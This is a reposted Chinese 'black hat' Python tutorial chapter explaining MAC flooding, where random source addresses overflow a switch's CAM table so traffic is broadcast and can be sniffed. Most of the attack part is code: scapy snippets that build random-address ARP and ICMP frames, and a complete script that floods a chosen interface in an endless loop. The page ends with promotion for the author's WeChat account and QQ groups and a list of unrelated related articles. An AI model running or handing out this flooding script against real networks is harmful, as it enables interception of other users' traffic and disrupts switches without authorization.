Python黑帽编程 3.3 MAC洪水攻击

简介:
+关注继续查看

Python灰帽编程 3.3 MAC洪水

传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧来处理。CAM表的容量有限,只能储存不多的条目,当CAM表记录的MAC地址达到上限后,新的条目将不会添加到CAM表中。

基于以上原理,我们会发现一个非常有趣的现象。某台PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为Hub

交换机降级为hub之后,我们就可以监听所有连接到该交换机的主机的数据了。

当然,具体交互设备对ARP洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的MACIP地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是scapy模块中的RandMACRandIP方法。这两个方法用来随机产生MAC地址和IP地址,方法接收模板参数,来产生特定网段的地址。

例如下面的代码:

#!/usr/bin/python

 

from scapy.all import *

 

i=5

while(i):

    print RandMAC()

    print RandIP()

    i=i-1

运行结果如下图:

2

 

如果需要产生固定网段的IP,可以输入指定的模板。

#!/usr/bin/python

 

from scapy.all import *

 

i=5

while(i):

    print RandIP("192.168.1.*")

    i=i-1

运行结果如下:

3

随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源IPMAC,那么交换机就会进行记录。

例如ARP包:

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))

例如ICMP包:

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

两个核心问题解决了,可以写完整的代码了:

4

 

#!/usr/bin/python

import sys

from scapy.all import *

import time

 

iface="eth0"

if len(sys.argv)>=2:

    iface=sys.argv[1]

while(1):

    packet= Ether(src=RandMAC("*:*:*:*:*:*"),

                  dst=RandMAC("*:*:*:*:*:*")) / \

    IP(src=RandIP("*.*.*.*"),

    dst=RandIP("*.*.*.*")) / \

    ICMP()

    time.sleep(0.5)

    sendp(packet,iface=iface,loop=0)

上面的代码通过不停的发送ICMP数据包,来实现MAC洪水攻击。运行结果如下:

5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

 

下一节,我们一起探讨下针对VLAN的攻击。

3.3节《VLAN攻击》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单专栏”—>”Python黑帽编程进入即可。

 

查看完整系列教程,请关注我的微信订阅号(xuanhun521,下方二维码),回复“python”。问题讨论请加qq群:Hacking 1群):303242737   Hacking 2群):147098303

 

玄魂工作室-精彩不断

 



本文转自玄魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/p/5816015.html,如需转载请自行联系原作者
目录
相关文章
|
6天前
|
安全 Python
Mac Python升级
Mac Python升级
10 0
|
25天前
|
机器人 程序员 Linux
|
2月前
|
小程序 Linux 区块链
Python PyInstaller 打包成 Win、Mac 应用程序(app / exe)
Python PyInstaller 打包成 Win、Mac 应用程序(app / exe)
79 0
|
2月前
|
Shell Python
Mac Python 使用 pyenv 多版本管理
Mac Python 使用 pyenv 多版本管理
33 0
|
3月前
|
JSON 数据可视化 定位技术
python数据可视化开发(3):使用psutil和socket模块获取电脑系统信息(Mac地址、IP地址、主机名、系统用户、硬盘、CPU、内存、网络)
python数据可视化开发(3):使用psutil和socket模块获取电脑系统信息(Mac地址、IP地址、主机名、系统用户、硬盘、CPU、内存、网络)
60 0
|
3月前
|
Python
python自带模块获取服务器主机名称、IP地址和mac地址
python自带模块获取服务器主机名称、IP地址和mac地址
35 1
|
4月前
|
算法 Java Python
python 版DES和MAC算法
python 版DES和MAC算法
|
4月前
|
运维 Python
Python如何爬取京东mac电脑的数据?全球HTTP代理应用
618要来了,不买点啥总觉得少了点什么,正好我用了5 6 年的电脑想换,这可不就来活了嘛!
|
4月前
|
NoSQL Redis 数据库
Python 数据库开发实战-Mac系统下通过homebrew安装Redis数据库
此文章的前置条件是 “Mac系统已安装过Homebrew”,如果未安装,可访问 “Mac 安装 homebrew 详细教程” 一文,详细介绍Homebrew的用法。利用 “Homebrew” 对 “Redis” 进行安装管理,那是一个方便啊。
|
5月前
|
人工智能 Linux 数据处理
在 Linux/Mac 下为Python函数添加超时时间
在 Linux/Mac 下为Python函数添加超时时间
82 0
相关产品
云迁移中心
推荐文章
更多